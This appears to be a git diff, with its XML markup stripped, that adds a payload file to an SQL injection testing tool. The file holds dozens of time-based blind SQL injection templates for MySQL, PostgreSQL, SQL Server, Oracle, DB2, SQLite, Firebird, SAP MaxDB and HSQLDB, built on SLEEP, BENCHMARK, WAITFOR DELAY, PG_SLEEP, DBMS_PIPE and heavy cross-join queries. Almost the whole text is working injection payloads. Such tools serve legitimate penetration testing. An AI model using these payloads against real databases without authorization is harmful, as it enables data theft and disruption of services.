+ + + + HSQLDB >= 2.0 stacked queries (heavy query) + 4 + 5 + 2 + 1-8 + 1 + ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) END + + ;CALL REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) + + + + +
+ HSQLDB + >= 2.0 +
+ + + + diff --git a/data/xml/payloads/time_blind.xml b/data/xml/payloads/time_blind.xml new file mode 100644 index 00000000000..21a50ce4016 --- /dev/null +++ b/data/xml/payloads/time_blind.xml @@ -0,0 +1,2174 @@ + + + + + + + + MySQL >= 5.0.12 AND time-based blind (query SLEEP) + 5 + 1 + 1 + 1,2,3,8,9 + 1 + AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + + AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + + + + +
+ MySQL + >= 5.0.12 +
+ + + + MySQL >= 5.0.12 OR time-based blind (query SLEEP) + 5 + 1 + 3 + 1,2,3,9 + 1 + OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + + OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + + + + +
+ MySQL + >= 5.0.12 +
+ + + + MySQL >= 5.0.12 AND time-based blind (SLEEP) + 5 + 2 + 1 + 1,2,3,8,9 + 1 + AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) + + AND SLEEP([SLEEPTIME]) + + + + +
+ MySQL + >= 5.0.12 +
+ + + + MySQL >= 5.0.12 OR time-based blind (SLEEP) + 5 + 2 + 3 + 1,2,3,9 + 1 + OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) + + OR SLEEP([SLEEPTIME]) + + + + +
+ MySQL + >= 5.0.12 +
+ + + + MySQL >= 5.0.12 AND time-based blind (SLEEP - comment) + 5 + 3 + 1 + 1,2,3,9 + 1 + AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) + + AND SLEEP([SLEEPTIME]) + # + + + + +
+ MySQL + >= 5.0.12 +
+ + + + MySQL >= 5.0.12 OR time-based blind (SLEEP - comment) + 5 + 3 + 3 + 1,2,3,9 + 1 + OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) + + OR SLEEP([SLEEPTIME]) + # + + + + +
+ MySQL + >= 5.0.12 +
+ + + + MySQL >= 5.0.12 AND time-based blind (query SLEEP - comment) + 5 + 3 + 1 + 1,2,3,9 + 1 + AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + + AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + # + + + + +
+ MySQL + >= 5.0.12 +
+ + + + MySQL >= 5.0.12 OR time-based blind (query SLEEP - comment) + 5 + 3 + 3 + 1,2,3,9 + 1 + OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + + OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + # + + + + +
+ MySQL + >= 5.0.12 +
+ + + + MySQL < 5.0.12 AND time-based blind (BENCHMARK) + 5 + 2 + 2 + 1,2,3,8,9 + 1 + AND [RANDNUM]=IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]) + + AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) + + + + +
+ MySQL + < 5.0.12 +
+ + + + MySQL > 5.0.12 AND time-based blind (heavy query) + 5 + 3 + 2 + 1,2,3,8,9 + 1 + AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM]) + + AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1) + + + + +
+ MySQL + > 5.0.12 +
+ + + + MySQL < 5.0.12 OR time-based blind (BENCHMARK) + 5 + 2 + 3 + 1,2,3,9 + 1 + OR [RANDNUM]=IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]) + + OR [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) + + + + +
+ MySQL + < 5.0.12 +
+ + + + MySQL > 5.0.12 OR time-based blind (heavy query) + 5 + 3 + 3 + 1,2,3,9 + 1 + OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM]) + + OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1) + + + + +
+ MySQL + > 5.0.12 +
+ + + + MySQL < 5.0.12 AND time-based blind (BENCHMARK - comment) + 5 + 5 + 2 + 1,2,3,9 + 1 + AND [RANDNUM]=IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]) + + AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) + # + + + + +
+ MySQL + < 5.0.12 +
+ + + + MySQL > 5.0.12 AND time-based blind (heavy query - comment) + 5 + 5 + 2 + 1,2,3,9 + 1 + AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM]) + + AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1) + # + + + + +
+ MySQL + > 5.0.12 +
+ + + + MySQL < 5.0.12 OR time-based blind (BENCHMARK - comment) + 5 + 5 + 3 + 1,2,3,9 + 1 + OR [RANDNUM]=IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]) + + OR [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) + # + + + + +
+ MySQL + < 5.0.12 +
+ + + + MySQL > 5.0.12 OR time-based blind (heavy query - comment) + 5 + 5 + 3 + 1,2,3,9 + 1 + OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM]) + + OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1) + # + + + + +
+ MySQL + > 5.0.12 +
+ + + + MySQL >= 5.0.12 RLIKE time-based blind + 5 + 2 + 1 + 1,2,3,9 + 1 + RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])) + + RLIKE SLEEP([SLEEPTIME]) + + + + +
+ MySQL + >= 5.0.12 +
+ + + + MySQL >= 5.0.12 RLIKE time-based blind (comment) + 5 + 4 + 1 + 1,2,3,9 + 1 + RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])) + + RLIKE SLEEP([SLEEPTIME]) + # + + + + +
+ MySQL + >= 5.0.12 +
+ + + + MySQL >= 5.0.12 RLIKE time-based blind (query SLEEP) + 5 + 3 + 1 + 1,2,3,9 + 1 + RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + + RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + + + + +
+ MySQL + >= 5.0.12 +
+ + + + MySQL >= 5.0.12 RLIKE time-based blind (query SLEEP - comment) + 5 + 4 + 1 + 1,2,3,9 + 1 + RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + + RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + # + + + + +
+ MySQL + >= 5.0.12 +
+ + + + MySQL AND time-based blind (ELT) + 5 + 3 + 1 + 1,2,3,8,9 + 1 + AND ELT([INFERENCE],SLEEP([SLEEPTIME])) + + AND ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) + + + + +
+ MySQL + >= 5.0.12 +
+ + + + MySQL OR time-based blind (ELT) + 5 + 3 + 3 + 1,2,3,9 + 1 + OR ELT([INFERENCE],SLEEP([SLEEPTIME])) + + OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) + + + + +
+ MySQL +
+ + + + MySQL AND time-based blind (ELT - comment) + 5 + 5 + 1 + 1,2,3,9 + 1 + AND ELT([INFERENCE],SLEEP([SLEEPTIME])) + + AND ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) + # + + + + +
+ MySQL +
+ + + + MySQL OR time-based blind (ELT - comment) + 5 + 5 + 3 + 1,2,3,9 + 1 + OR ELT([INFERENCE],SLEEP([SLEEPTIME])) + + OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) + # + + + + +
+ MySQL +
+ + + + PostgreSQL > 8.1 AND time-based blind + 5 + 1 + 1 + 1,2,3,8,9 + 1 + AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) + + AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) + + + + +
+ PostgreSQL + > 8.1 +
+ + + + PostgreSQL > 8.1 OR time-based blind + 5 + 1 + 3 + 1,2,3,9 + 1 + OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) + + OR [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) + + + + +
+ PostgreSQL + > 8.1 +
+ + + + PostgreSQL > 8.1 AND time-based blind (comment) + 5 + 4 + 1 + 1,2,3,9 + 1 + AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) + + AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) + -- + + + + +
+ PostgreSQL + > 8.1 +
+ + + + PostgreSQL > 8.1 OR time-based blind (comment) + 5 + 4 + 3 + 1,2,3,9 + 1 + OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) + + OR [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) + -- + + + + +
+ PostgreSQL + > 8.1 +
+ + + + PostgreSQL AND time-based blind (heavy query) + 5 + 2 + 2 + 1,2,3,8,9 + 1 + AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) + + AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) + + + + +
+ PostgreSQL +
+ + + + PostgreSQL OR time-based blind (heavy query) + 5 + 2 + 3 + 1,2,3,9 + 1 + OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) + + OR [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) + + + + +
+ PostgreSQL +
+ + + + PostgreSQL AND time-based blind (heavy query - comment) + 5 + 5 + 2 + 1,2,3,9 + 1 + AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) + + AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) + -- + + + + +
+ PostgreSQL +
+ + + + PostgreSQL OR time-based blind (heavy query - comment) + 5 + 5 + 3 + 1,2,3,9 + 1 + OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) + + OR [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) + -- + + + + +
+ PostgreSQL +
+ + + + Microsoft SQL Server/Sybase time-based blind (IF) + 5 + 1 + 1 + 0 + 1 + IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]' + + WAITFOR DELAY '0:0:[SLEEPTIME]' + + + + +
+ Microsoft SQL Server + Sybase +
+ + + + Microsoft SQL Server/Sybase time-based blind (IF - comment) + 5 + 4 + 1 + 0 + 1 + IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]' + + WAITFOR DELAY '0:0:[SLEEPTIME]' + -- + + + + +
+ Microsoft SQL Server + Sybase +
+ + + + Microsoft SQL Server/Sybase AND time-based blind (heavy query) + 5 + 2 + 2 + 1,2,3,8,9 + 1 + AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END) + + AND [RANDNUM]=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) + + + + +
+ Microsoft SQL Server + Sybase +
+ + + + Microsoft SQL Server/Sybase OR time-based blind (heavy query) + 5 + 2 + 3 + 1,2,3,9 + 1 + OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END) + + OR [RANDNUM]=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) + + + + +
+ Microsoft SQL Server + Sybase +
+ + + + Microsoft SQL Server/Sybase AND time-based blind (heavy query - comment) + 5 + 5 + 2 + 1,2,3,9 + 1 + AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END) + + AND [RANDNUM]=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) + -- + + + + +
+ Microsoft SQL Server + Sybase +
+ + + + Microsoft SQL Server/Sybase OR time-based blind (heavy query - comment) + 5 + 5 + 3 + 1,2,3,9 + 1 + OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END) + + OR [RANDNUM]=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) + -- + + + + +
+ Microsoft SQL Server + Sybase +
+ + + + Oracle AND time-based blind + 5 + 1 + 1 + 1,2,3,9 + 1 + AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) + + AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) + + + + +
+ Oracle +
+ + + + Oracle OR time-based blind + 5 + 1 + 3 + 1,2,3,9 + 1 + OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) + + OR [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) + + + + +
+ Oracle +
+ + + + Oracle AND time-based blind (comment) + 5 + 4 + 1 + 1,2,3,9 + 1 + AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) + + AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) + -- + + + + +
+ Oracle +
+ + + + Oracle OR time-based blind (comment) + 5 + 4 + 3 + 1,2,3,9 + 1 + OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) + + OR [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) + -- + + + + +
+ Oracle +
+ + + + Oracle AND time-based blind (heavy query) + 5 + 2 + 2 + 1,2,3,9 + 1 + AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) + + AND [RANDNUM]=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) + + + + +
+ Oracle +
+ + + + Oracle OR time-based blind (heavy query) + 5 + 2 + 3 + 1,2,3,9 + 1 + OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) + + OR [RANDNUM]=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) + + + + +
+ Oracle +
+ + + + Oracle AND time-based blind (heavy query - comment) + 5 + 5 + 2 + 1,2,3,9 + 1 + AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) + + AND [RANDNUM]=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) + -- + + + + +
+ Oracle +
+ + + + Oracle OR time-based blind (heavy query - comment) + 5 + 5 + 3 + 1,2,3,9 + 1 + OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) + + OR [RANDNUM]=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) + -- + + + + +
+ Oracle +
+ + + + IBM DB2 AND time-based blind (heavy query) + 5 + 3 + 2 + 1,2,3,9 + 1 + AND [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE])) + + AND [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3) + + + + +
+ IBM DB2 +
+ + + + IBM DB2 OR time-based blind (heavy query) + 5 + 3 + 3 + 1,2,3,9 + 1 + OR [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE])) + + OR [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3) + + + + +
+ IBM DB2 +
+ + + + IBM DB2 AND time-based blind (heavy query - comment) + 5 + 5 + 2 + 1,2,3,9 + 1 + AND [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE])) + + AND [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3) + -- + + + + +
+ IBM DB2 +
+ + + + IBM DB2 OR time-based blind (heavy query - comment) + 5 + 5 + 3 + 1,2,3,9 + 1 + OR [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE])) + + OR [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3) + -- + + + + +
+ IBM DB2 +
+ + + + SQLite > 2.0 AND time-based blind (heavy query) + 5 + 3 + 2 + 1,8,9 + 1 + AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) + + AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) + + + + +
+ SQLite + > 2.0 +
+ + + + SQLite > 2.0 OR time-based blind (heavy query) + 5 + 3 + 3 + 1,9 + 1 + OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) + + OR [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) + + + + +
+ SQLite + > 2.0 +
+ + + + SQLite > 2.0 AND time-based blind (heavy query - comment) + 5 + 5 + 2 + 1,9 + 1 + AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) + + AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) + -- + + + + +
+ SQLite + > 2.0 +
+ + + + SQLite > 2.0 OR time-based blind (heavy query - comment) + 5 + 5 + 3 + 1,9 + 1 + OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) + + OR [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) + -- + + + + +
+ SQLite + > 2.0 +
+ + + + Firebird >= 2.0 AND time-based blind (heavy query) + 5 + 4 + 2 + 1,9 + 1 + AND [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) + + AND [RANDNUM]=(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4) + + + + +
+ Firebird + >= 2.0 +
+ + + + Firebird >= 2.0 OR time-based blind (heavy query) + 5 + 4 + 3 + 1,9 + 1 + OR [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) + + OR [RANDNUM]=(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4) + + + + +
+ Firebird + >= 2.0 +
+ + + + Firebird >= 2.0 AND time-based blind (heavy query - comment) + 5 + 5 + 2 + 1,9 + 1 + AND [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) + + AND [RANDNUM]=(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4) + -- + + + + +
+ Firebird + >= 2.0 +
+ + + + Firebird >= 2.0 OR time-based blind (heavy query - comment) + 5 + 5 + 3 + 1,9 + 1 + OR [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) + + OR [RANDNUM]=(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4) + -- + + + + +
+ Firebird + >= 2.0 +
+ + + + SAP MaxDB AND time-based blind (heavy query) + 5 + 4 + 2 + 1,2,3,9 + 1 + AND [RANDNUM]=(SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3) + + AND [RANDNUM]=(SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3) + + + + +
+ SAP MaxDB +
+ + + + SAP MaxDB OR time-based blind (heavy query) + 5 + 4 + 3 + 1,2,3,9 + 1 + OR [RANDNUM]=(SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3) + + OR [RANDNUM]=(SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3) + + + + +
+ SAP MaxDB +
+ + + + SAP MaxDB AND time-based blind (heavy query - comment) + 5 + 5 + 2 + 1,2,3,9 + 1 + AND [RANDNUM]=(SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3) + + AND [RANDNUM]=(SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3) + -- + + + + +
+ SAP MaxDB +
+ + + + SAP MaxDB OR time-based blind (heavy query - comment) + 5 + 5 + 3 + 1,2,3,9 + 1 + OR [RANDNUM]=(SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3) + + OR [RANDNUM]=(SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3) + -- + + + + +
+ SAP MaxDB +
+ + + + HSQLDB >= 1.7.2 AND time-based blind (heavy query) + 5 + 4 + 2 + 1,2,3,9 + 1 + AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) ELSE '[RANDSTR]' END + + AND '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) + + + + +
+ HSQLDB + >= 1.7.2 +
